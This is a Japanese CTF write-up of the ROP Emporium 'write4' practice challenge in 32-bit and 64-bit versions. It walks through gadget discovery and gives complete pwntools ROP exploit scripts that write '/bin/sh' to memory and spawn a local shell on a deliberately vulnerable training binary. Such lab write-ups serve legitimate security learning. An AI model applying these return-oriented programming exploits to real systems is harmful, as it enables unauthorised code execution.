ROP Emporium write4 writeup

# ROP Emporium

ROPの練習問題集

[ROP Emporium](https://ropemporium.com/)

解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。

## writeup link

- [ret2win](https://qiita.com/ham_o_o_/items/3d022bad3938fce53f15)
- [split](https://qiita.com/ham_o_o_/items/a84c90f033f20854ddd8)
- [callme](https://qiita.com/ham_o_o_/items/8aa7055c284feac4f6a1)
- [write4](https://qiita.com/ham_o_o_/items/a795741145986088a397)
- [badchars](https://qiita.com/ham_o_o_/items/14c59aa72cbd9ba9fab0)
- [fluff](https://qiita.com/ham_o_o_/items/42144f50a44daf8afbf5)


## write432 writeup

32bitのELF実行ファイル。
とりあえず、実行してみる。

```
# file ./write432
./write432: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1bbd4a55b5c333daf5020efbb77b8c38fc0d8601, not stripped
# 
#
#
# ./write432 
write4 by ROP Emporium
32bits

Go ahead and give me the string already!
> test

Exiting
# 
```

nmコマンドで実行ファイルのシンボル情報を確認する。
[nm](https://linuxcommand.net/nm/)

```
# nm write432
0804a030 B __bss_start
0804a068 b completed.7200
0804a028 D __data_start
0804a028 W data_start
080484c0 t deregister_tm_clones
08048530 t __do_global_dtors_aux
08049f0c d __do_global_dtors_aux_fini_array_entry
0804a02c D __dso_handle
08049f14 d _DYNAMIC
0804a030 D _edata
0804a06c B _end
         U fgets@@GLIBC_2.0
080486e4 T _fini
080486f8 R _fp_hw
08048550 t frame_dummy
08049f08 d __frame_dummy_init_array_entry
080488a0 r __FRAME_END__
0804a000 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
0804875c r __GNU_EH_FRAME_HDR
080483c0 T _init
08049f0c d __init_array_end
08049f08 d __init_array_start
080486fc R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
08049f10 d __JCR_END__
08049f10 d __JCR_LIST__
         w _Jv_RegisterClasses
080486e0 T __libc_csu_fini
08048680 T __libc_csu_init
         U __libc_start_main@@GLIBC_2.0
0804857b T main
         U memset@@GLIBC_2.0
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
080485f6 t pwnme
080484f0 t register_tm_clones
         U setvbuf@@GLIBC_2.0
08048480 T _start
0804a040 B stderr@@GLIBC_2.0
0804a060 B stdin@@GLIBC_2.0
0804a064 B stdout@@GLIBC_2.0
         U system@@GLIBC_2.0
0804a030 D __TMC_END__
0804864c t usefulFunction
08048670 T usefulGadgets
080484b0 T __x86.get_pc_thunk.bx
# 
```
usefulFunction / usefulGadgetsというシンボルがある。


gdbでwrite432を解析していく。
canaryは今回も無効。

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 
```

main / pwnme関数の内容は他の問題と同様。
[ret2win writeup](https://qiita.com/ham_o_o_/items/3d022bad3938fce53f15)

nmコマンドで確認できたusefulFunction / usefulGadgetsを見てみる。

usefulFunctionは`/bin/ls`を実行する関数。

```
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x0804864c <+0>:	push   ebp
   0x0804864d <+1>:	mov    ebp,esp
   0x0804864f <+3>:	sub    esp,0x8
   0x08048652 <+6>:	sub    esp,0xc
   0x08048655 <+9>:	push   0x8048754
   0x0804865a <+14>:	call   0x8048430 <system@plt>
   0x0804865f <+19>:	add    esp,0x10
   0x08048662 <+22>:	nop
   0x08048663 <+23>:	leave  
   0x08048664 <+24>:	ret    
End of assembler dump.
gdb-peda$  
```

```
gdb-peda$ x/s 0x8048754
0x8048754:	"/bin/ls"
gdb-peda$ 
```

usefulGadgetsの内容を確認する。

`xchg   ax,ax` は`ax`と`ax`の値を交換する。つまり、何もしない命令になる。
[xchg](http://tool-support.renesas.com/autoupdate/support/onlinehelp/ja-JP/csp/V4.01.00/CS+.chm/Compiler-CCRX.chm/Output/ccrx05c0613y0089.html)

`mov    DWORD PTR [edi],ebp` は`ebp`の値を`edi`のアドレスに書き込む。
その直後に`ret`がある。
これをROP gadgetとして使う。
あとは、`pop edi`と`pop ebp`のROP gadgetがあれば書き込み可能なアドレスに任意の値を書き込むことが可能。

```
gdb-peda$ pdis usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x08048670 <+0>:	mov    DWORD PTR [edi],ebp
   0x08048672 <+2>:	ret    
   0x08048673 <+3>:	xchg   ax,ax
   0x08048675 <+5>:	xchg   ax,ax
   0x08048677 <+7>:	xchg   ax,ax
   0x08048679 <+9>:	xchg   ax,ax
   0x0804867b <+11>:	xchg   ax,ax
   0x0804867d <+13>:	xchg   ax,ax
   0x0804867f <+15>:	nop
End of assembler dump.
gdb-peda$ 
```

ROPgadgetで調べると、`0x080486da : pop edi ; pop ebp ; ret`が見つかる。

```
# ROPgadget --binary write432
Gadgets information
============================================================
0x08048879 : adc al, 0x41 ; ret
0x0804856e : adc al, 0x50 ; call edx
0x080484e7 : adc cl, cl ; ret
0x080486ef : adc ebx, dword ptr [ecx] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048548 : add al, 8 ; add ecx, ecx ; ret
0x080484e1 : add al, 8 ; call eax
0x0804851b : add al, 8 ; call edx
0x0804863a : add al, byte ptr [eax] ; add byte ptr [ebp - 0x17af27bb], cl ; retf 0xfffd
0x080486df : add bl, dh ; ret
0x080483dc : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x080485ec : add byte ptr [eax], al ; mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, [ecx - 4] ; ret
0x0804863c : add byte ptr [ebp - 0x17af27bb], cl ; retf 0xfffd
0x080485ed : add byte ptr [ebx - 0x723603b3], cl ; popal ; cld ; ret
0x080486e3 : add byte ptr [ebx - 0x7d], dl ; in al, dx ; or al, ch ; ret
0x08048545 : add eax, 0x804a068 ; add ecx, ecx ; ret
0x0804854a : add ecx, ecx ; ret
0x080484e5 : add esp, 0x10 ; leave ; ret
0x08048646 : add esp, 0x10 ; nop ; leave ; ret
0x080486d5 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483de : add esp, 8 ; pop ebx ; ret
0x08048876 : and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x080484e3 : call eax
0x0804851d : call edx
0x080485f0 : cld ; leave ; lea esp, [ecx - 4] ; ret
0x080485f4 : cld ; ret
0x08048671 : das ; ret
0x080485ef : dec ebp ; cld ; leave ; lea esp, [ecx - 4] ; ret
0x08048874 : dec ebp ; push cs ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x0804863f : fcom dword ptr [eax - 0x18] ; retf 0xfffd
0x0804856d : in al, dx ; adc al, 0x50 ; call edx
0x080486e6 : in al, dx ; or al, ch ; ret
0x0804856b : in eax, 0x83 ; in al, dx ; adc al, 0x50 ; call edx
0x08048645 : inc dword ptr [ebx - 0x366fef3c] ; ret
0x0804863e : inc ebp ; fcom dword ptr [eax - 0x18] ; retf 0xfffd
0x0804887a : inc ecx ; ret
0x08048877 : inc edi ; push cs ; adc al, 0x41 ; ret
0x080486de : jbe 0x80486e3 ; ret
0x08048567 : je 0x8048564 ; push ebp ; mov ebp, esp ; sub esp, 0x14 ; push eax ; call edx
0x080486d4 : jecxz 0x8048661 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x0804878b : jmp esp
0x080486d3 : jne 0x80486c1 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080486dd : lea esi, [esi] ; ret
0x080485f2 : lea esp, [ecx - 4] ; ret
0x080485f1 : leave ; lea esp, [ecx - 4] ; ret
0x080484e8 : leave ; ret
0x080483df : les ecx, ptr [eax] ; pop ebx ; ret
0x080486d6 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x080484e6 : les edx, ptr [eax] ; leave ; ret
0x08048647 : les edx, ptr [eax] ; nop ; leave ; ret
0x08048547 : mov al, byte ptr [0xc9010804] ; ret
0x08048544 : mov byte ptr [0x804a068], 1 ; leave ; ret
0x08048670 : mov dword ptr [edi], ebp ; ret
0x0804856a : mov ebp, esp ; sub esp, 0x14 ; push eax ; call edx
0x080484b0 : mov ebx, dword ptr [esp] ; ret
0x080485ee : mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, [ecx - 4] ; ret
0x08048649 : nop ; leave ; ret
0x0804866f : nop ; mov dword ptr [edi], ebp ; ret
0x080484af : nop ; mov ebx, dword ptr [esp] ; ret
0x0804866e : nop ; nop ; mov dword ptr [edi], ebp ; ret
0x080484ad : nop ; nop ; mov ebx, dword ptr [esp] ; ret
0x0804866c : nop ; nop ; nop ; mov dword ptr [edi], ebp ; ret
0x080484ab : nop ; nop ; nop ; mov ebx, dword ptr [esp] ; ret
0x0804866a : nop ; nop ; nop ; nop ; mov dword ptr [edi], ebp ; ret
0x080486d7 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x080486e7 : or al, ch ; ret
0x080484e2 : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], 1 ; ret
0x0804851c : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], cl ; ret
0x08048549 : or byte ptr [ecx], al ; leave ; ret
0x080486db : pop ebp ; ret
0x080486d8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483e1 : pop ebx ; ret
0x080486da : pop edi ; pop ebp ; ret
0x080486d9 : pop esi ; pop edi ; pop ebp ; ret
0x080485f3 : popal ; cld ; ret
0x08048546 : push 0x10804a0 ; leave ; ret
0x080484de : push 0x804a030 ; call eax
0x08048518 : push 0x804a030 ; call edx
0x08048878 : push cs ; adc al, 0x41 ; ret
0x08048875 : push cs ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x08048872 : push cs ; xor byte ptr [ebp + 0xe], cl ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x0804856f : push eax ; call edx
0x08048517 : push eax ; push 0x804a030 ; call edx
0x08048569 : push ebp ; mov ebp, esp ; sub esp, 0x14 ; push eax ; call edx
0x0804819d : ret
0x080484fe : ret 0xeac1
0x08048642 : retf 0xfffd
0x080484e4 : rol byte ptr [ebx - 0xc36ef3c], 1 ; ret
0x0804851e : rol byte ptr [ebx - 0xc36ef3c], cl ; ret
0x080484b1 : sbb al, 0x24 ; ret
0x08048514 : sub esp, 0x10 ; push eax ; push 0x804a030 ; call edx
0x080484db : sub esp, 0x14 ; push 0x804a030 ; call eax
0x0804856c : sub esp, 0x14 ; push eax ; call edx
0x08048873 : xor byte ptr [ebp + 0xe], cl ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret

Unique gadgets found: 93
# 
```

これらを使用して`system(/bin/sh)`が実行されるROPを構築する。
usefulGadgetを利用してメモリに'/bin/sh'の文字を書き込む。
それを`system()`の引数として実行する。

```
+--------------------+
|       dummy        |
+--------------------+
| pop edi ; pop ebp  |
+--------------------+
|    write address   |
+--------------------+
|       '/bin'       |
+--------------------+
|    mov [edi],ebp   |
+--------------------+
| pop edi ; pop ebp  |
+--------------------+
|   write address +4 |
+--------------------+
|      '/sh\x00'     |
+--------------------+
|    mov [edi],ebp   |
+--------------------+
|      system@plt    |
+--------------------+
|        dummy       |
+--------------------+
|    write address   |
+--------------------+
```

`/bin/sh`を書き込むメモリのアドレスをどこにするかが問題。。。

>Perhaps the most important thing to consider in this challenge is where we're going to write our string. Use rabin2 or readelf to check out the different sections of this binary and their permissions. Learn a little about ELF sections and their purpose. Consider how much space each section might give you to work with and whether corrupting the information stored at these locations will cause you problems later if you need some kind of stability from this binary.

問題文では`readelf`を使えとあるが。。

```
gdb-peda$ readelf
.interp = 0x8048154
.note.ABI-tag = 0x8048168
.note.gnu.build-id = 0x8048188
.gnu.hash = 0x80481ac
.dynsym = 0x80481dc
.dynstr = 0x80482ac
.gnu.version = 0x804832e
.gnu.version_r = 0x8048348
.rel.dyn = 0x8048368
.rel.plt = 0x8048388
.init = 0x80483c0
.plt = 0x80483f0
.plt.got = 0x8048470
.text = 0x8048480
.fini = 0x80486e4
.rodata = 0x80486f8
.eh_frame_hdr = 0x804875c
.eh_frame = 0x8048798
.init_array = 0x8049f08
.fini_array = 0x8049f0c
.jcr = 0x8049f10
.dynamic = 0x8049f14
.got = 0x8049ffc
.got.plt = 0x804a000
.data = 0x804a028
.bss = 0x804a040
gdb-peda$ 
```

```
gdb-peda$ vmmap
Start      End        Perm	Name
0x08048000 0x08049000 r-xp	/root/ROP_Emporium/write432/write432
0x08049000 0x0804a000 r--p	/root/ROP_Emporium/write432/write432
0x0804a000 0x0804b000 rw-p	/root/ROP_Emporium/write432/write432
0xf7dda000 0xf7df7000 r--p	/usr/lib32/libc-2.29.so
0xf7df7000 0xf7f42000 r-xp	/usr/lib32/libc-2.29.so
0xf7f42000 0xf7faf000 r--p	/usr/lib32/libc-2.29.so
0xf7faf000 0xf7fb1000 r--p	/usr/lib32/libc-2.29.so
0xf7fb1000 0xf7fb3000 rw-p	/usr/lib32/libc-2.29.so
0xf7fb3000 0xf7fb5000 rw-p	mapped
0xf7fce000 0xf7fd0000 rw-p	mapped
0xf7fd0000 0xf7fd3000 r--p	[vvar]
0xf7fd3000 0xf7fd4000 r-xp	[vdso]
0xf7fd4000 0xf7fd5000 r--p	/usr/lib32/ld-2.29.so
0xf7fd5000 0xf7ff1000 r-xp	/usr/lib32/ld-2.29.so
0xf7ff1000 0xf7ffb000 r--p	/usr/lib32/ld-2.29.so
0xf7ffc000 0xf7ffd000 r--p	/usr/lib32/ld-2.29.so
0xf7ffd000 0xf7ffe000 rw-p	/usr/lib32/ld-2.29.so
0xfffdd000 0xffffe000 rw-p	[stack]
gdb-peda$ 
```

書き込み権限がある領域で、特に使用されていないbss領域をwrite addressとして使用する。

```python
from pwn import *

conn = process('./write432')

system_plt_addr=0x8048430
useful_addr=0x08048670  #mov dword [edi], ebp ; ret
write_addr=0x804a028
pop_edi_ebp_addr=0x080486da  #pop edi ; pop ebp ; ret

payload = 'A'*44

payload += p32(pop_edi_ebp_addr)
payload += p32(write_addr)
payload += '/bin' 
payload += p32(useful_addr)

payload += p32(pop_edi_ebp_addr)
payload += p32(write_addr+4)
payload += '/sh\x00'
payload += p32(useful_addr)

payload += p32(system_plt_addr)
payload += 'A'*4
payload += p32(write_addr)

pause()
conn.sendline(payload)
conn.interactive()
```


```
# python write432.py 
[+] Starting local process './write432': pid 2355
[*] Paused (press any to continue)
[*] Switching to interactive mode
write4 by ROP Emporium
32bits

Go ahead and give me the string already!
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$ 
```

## write4 writeup

write432の64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。

```
# file write4
write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ab37f80904704258fda5656af18246786632b560, not stripped
# 
#
# ./write4 
write4 by ROP Emporium
64bits

Go ahead and give me the string already!
> test

Exiting
# 
```

nmコマンドで実行ファイルのシンボル情報を確認する。
[nm](https://linuxcommand.net/nm/)

```
# nm ./write4
0000000000601060 B __bss_start
0000000000601088 b completed.7585
0000000000601050 D __data_start
0000000000601050 W data_start
0000000000400680 t deregister_tm_clones
0000000000400700 t __do_global_dtors_aux
0000000000600e18 d __do_global_dtors_aux_fini_array_entry
0000000000601058 D __dso_handle
0000000000600e28 d _DYNAMIC
0000000000601060 D _edata
0000000000601090 B _end
                 U fgets@@GLIBC_2.2.5
00000000004008a4 T _fini
0000000000400720 t frame_dummy
0000000000600e10 d __frame_dummy_init_array_entry
0000000000400a88 r __FRAME_END__
0000000000601000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
0000000000400914 r __GNU_EH_FRAME_HDR
00000000004005a0 T _init
0000000000600e18 d __init_array_end
0000000000600e10 d __init_array_start
00000000004008b0 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000600e20 d __JCR_END__
0000000000600e20 d __JCR_LIST__
                 w _Jv_RegisterClasses
00000000004008a0 T __libc_csu_fini
0000000000400830 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000400746 T main
                 U memset@@GLIBC_2.2.5
                 U printf@@GLIBC_2.2.5
                 U puts@@GLIBC_2.2.5
00000000004007b5 t pwnme
00000000004006c0 t register_tm_clones
                 U setvbuf@@GLIBC_2.2.5
0000000000400650 T _start
0000000000601080 B stderr@@GLIBC_2.2.5
0000000000601070 B stdin@@GLIBC_2.2.5
0000000000601060 B stdout@@GLIBC_2.2.5
                 U system@@GLIBC_2.2.5
0000000000601060 D __TMC_END__
0000000000400807 t usefulFunction
0000000000400820 T usefulGadgets
# 
```

usefulFunction / usefulGadgetsというシンボルがある。

gdbでwrite4を解析していく。
canaryは今回も無効。

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ 
```

main / pwnme関数の内容は他の問題と同様。

nmコマンドで確認できたusefulFunction / usefulGadgetsを見てみる。

usefulFunctionは`/bin/ls`を実行する関数。

```
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400807 <+0>:	push   rbp
   0x0000000000400808 <+1>:	mov    rbp,rsp
   0x000000000040080b <+4>:	mov    edi,0x40090c
   0x0000000000400810 <+9>:	call   0x4005e0 <system@plt>
   0x0000000000400815 <+14>:	nop
   0x0000000000400816 <+15>:	pop    rbp
   0x0000000000400817 <+16>:	ret    
End of assembler dump.
gdb-peda$ 
```

```
gdb-peda$ x/s 0x40090c
0x40090c:	"/bin/ls"
gdb-peda$ 
```

usefulGadgetsの内容を確認する。

`mov    QWORD PTR [r14],r15` は`r15`の値を`r14`のアドレスに書き込む。
その直後に`ret`がある。
これをROP gadgetとして使う。
あとは、`pop r14`と`pop r15`のROP gadgetがあれば書き込み可能なアドレスに任意の値を書き込むことが可能。

```
gdb-peda$ pdis usefulGadgets
Dump of assembler code for function usefulGadgets:
   0x0000000000400820 <+0>:	mov    QWORD PTR [r14],r15
   0x0000000000400823 <+3>:	ret    
   0x0000000000400824 <+4>:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x000000000040082e <+14>:	xchg   ax,ax
End of assembler dump.
gdb-peda$ 
```

ROPgadgetで調べると、`0x0000000000400890 : pop r14 ; pop r15 ; ret`が見つかる。

```
# ROPgadget --binary write4
Gadgets information
============================================================
0x00000000004006a2 : adc byte ptr [rax], ah ; jmp rax
0x000000000040080e : add al, bpl ; retf
0x000000000040080f : add al, ch ; retf
0x000000000040089f : add bl, dh ; ret
0x000000000040089d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040089b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040081b : add byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rbp - 0x77], cl ; ret
0x000000000040081c : add byte ptr [rax], al ; add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040089c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040081d : add byte ptr [rax], al ; add byte ptr [rbp - 0x77], cl ; ret
0x00000000004005b3 : add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000040081e : add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x00000000004006ae : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040089e : add byte ptr [rax], al ; ret
0x000000000040081f : add byte ptr [rbp - 0x77], cl ; ret
0x0000000000400718 : add byte ptr [rcx], al ; ret
0x0000000000400714 : add eax, 0x20096e ; add ebx, esi ; ret
0x0000000000400719 : add ebx, esi ; ret
0x00000000004005b6 : add esp, 8 ; ret
0x00000000004005b5 : add rsp, 8 ; ret
0x0000000000400717 : and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000400a13 : call qword ptr [rcx]
0x000000000040073e : call rax
0x000000000040093b : call rsp
0x000000000040087c : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040080a : in eax, 0xbf ; or al, 9 ; add al, bpl ; retf
0x0000000000400739 : int1 ; push rbp ; mov rbp, rsp ; call rax
0x000000000040069d : je 0x4006b8 ; pop rbp ; mov edi, 0x601060 ; jmp rax
0x00000000004006eb : je 0x400700 ; pop rbp ; mov edi, 0x601060 ; jmp rax
0x0000000000400738 : je 0x400731 ; push rbp ; mov rbp, rsp ; call rax
0x00000000004006a5 : jmp rax
0x0000000000400805 : leave ; ret
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x0000000000400821 : mov dword ptr [rsi], edi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x00000000004005b1 : mov eax, dword ptr [rax] ; add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000040073c : mov ebp, esp ; call rax
0x00000000004006a0 : mov edi, 0x601060 ; jmp rax
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x000000000040073b : mov rbp, rsp ; call rax
0x0000000000400804 : nop ; leave ; ret
0x0000000000400815 : nop ; pop rbp ; ret
0x00000000004006a8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x0000000000400898 : nop dword ptr [rax + rax] ; ret
0x00000000004006f5 : nop dword ptr [rax] ; pop rbp ; ret
0x000000000040080c : or al, 9 ; add al, bpl ; retf
0x0000000000400716 : or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x0000000000400715 : outsb dx, byte ptr [rsi] ; or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x000000000040088c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400892 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040069f : pop rbp ; mov edi, 0x601060 ; jmp rax
0x000000000040088b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040088f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400893 : pop rdi ; ret
0x0000000000400891 : pop rsi ; pop r15 ; ret
0x000000000040088d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073a : push rbp ; mov rbp, rsp ; call rax
0x00000000004005b9 : ret
0x0000000000400811 : retf
0x0000000000400737 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
0x00000000004008a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004008a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040081a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; mov qword ptr [r14], r15 ; ret
0x00000000004006aa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040089a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400736 : test eax, eax ; je 0x400733 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400735 : test rax, rax ; je 0x400734 ; push rbp ; mov rbp, rsp ; call rax

Unique gadgets found: 72
# 
```

これらを使用して`system(/bin/sh)`が実行されるROPを構築する。
usefulGadgetを利用してメモリに'/bin/sh'の文字を書き込む。
それを`system()`の引数として実行する。

```
+--------------------+
|       dummy        |
+--------------------+
| pop r14 ; pop r15  |
+--------------------+
|    write address   |
+--------------------+
|    '/bin/sh\x00'   |
+--------------------+
|    mov [r14],r15   |
+--------------------+
|      system@plt    |
+--------------------+
|        dummy       |
+--------------------+
|    write address   |
+--------------------+
```

64bitでもwrite432と同様に書き込みが可能な箇所を探す。

```
gdb-peda$ readelf
.interp = 0x400238
.note.ABI-tag = 0x400254
.note.gnu.build-id = 0x400274
.gnu.hash = 0x400298
.dynsym = 0x4002c8
.dynstr = 0x4003e8
.gnu.version = 0x40045c
.gnu.version_r = 0x400478
.rela.dyn = 0x400498
.rela.plt = 0x4004f8
.init = 0x4005a0
.plt = 0x4005c0
.plt.got = 0x400640
.text = 0x400650
.fini = 0x4008a4
.rodata = 0x4008b0
.eh_frame_hdr = 0x400914
.eh_frame = 0x400958
.init_array = 0x600e10
.fini_array = 0x600e18
.jcr = 0x600e20
.dynamic = 0x600e28
.got = 0x600ff8
.got.plt = 0x601000
.data = 0x601050
.bss = 0x601060
gdb-peda$ 
```

```
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/root/ROP_Emporium/write4/write4
0x00600000         0x00601000         r--p	/root/ROP_Emporium/write4/write4
0x00601000         0x00602000         rw-p	/root/ROP_Emporium/write4/write4
0x00007ffff7df6000 0x00007ffff7e1b000 r--p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7e1b000 0x00007ffff7f62000 r-xp	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f62000 0x00007ffff7fab000 r--p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fab000 0x00007ffff7fac000 ---p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 r--p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 rw-p	/usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 rw-p	mapped
0x00007ffff7fd1000 0x00007ffff7fd4000 r--p	[vvar]
0x00007ffff7fd4000 0x00007ffff7fd5000 r-xp	[vdso]
0x00007ffff7fd5000 0x00007ffff7fd6000 r--p	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd6000 0x00007ffff7ff4000 r-xp	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 r--p	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p	/usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p	[stack]
gdb-peda$ 
```

書き込み権限がある領域で、特に使用されていないbss領域をwrite addressとして使用する。

```python
from pwn import *

conn = process('./write4')

system_plt_addr=0x4005e0
useful_addr=0x400820   #mov    QWORD PTR [r14],r15 ; ret
write_addr=0x601050
pop_r14_r15_addr=0x400890 # pop r14 ; pop r15 ; ret  ;
pop_rdi=0x00400893 # pop rdi ; ret  ;

payload = 'A'*40

payload += p64(pop_r14_r15_addr)
payload += p64(write_addr)
payload += '/bin/sh\x00' 
payload += p64(useful_addr)
payload += p64(pop_rdi)
payload += p64(write_addr)

payload += p64(system_plt_addr)

conn.sendline(payload)
conn.interactive()
```


```
# python write4.py 
[+] Starting local process './write4': pid 2709
[*] Switching to interactive mode
write4 by ROP Emporium
64bits

Go ahead and give me the string already!
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$ 
```